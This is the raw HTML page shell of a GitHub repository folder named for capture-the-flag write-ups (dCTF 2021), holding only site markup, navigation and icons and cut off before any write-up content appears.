name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/ivanchubb/CTF-Writeups git https://github.com/ivanchubb/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="56413433" /><meta name="octolytics-dimension-user_login" content="ivanchubb" /><meta name="octolytics-dimension-repository_id" content="368004552" /><meta name="octolytics-dimension-repository_nwo" content="ivanchubb/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="368004552" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ivanchubb/CTF-Writeups" /> <link rel="canonical" href="https://github.com/ivanchubb/CTF-Writeups/tree/main/2021/dCTF" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="368004552" data-scoped-search-url="/ivanchubb/CTF-Writeups/search" data-owner-scoped-search-url="/users/ivanchubb/search" data-unscoped-search-url="/search" action="/ivanchubb/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="LTYnJOap3QaLvWYVR62hiYCpBvZl6EfCjzbk2JrnQYB+vUlaBGMZBE7vb1ES9T763pR4JpK/oNML7893wMWC/w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> ivanchubb </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 2 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" 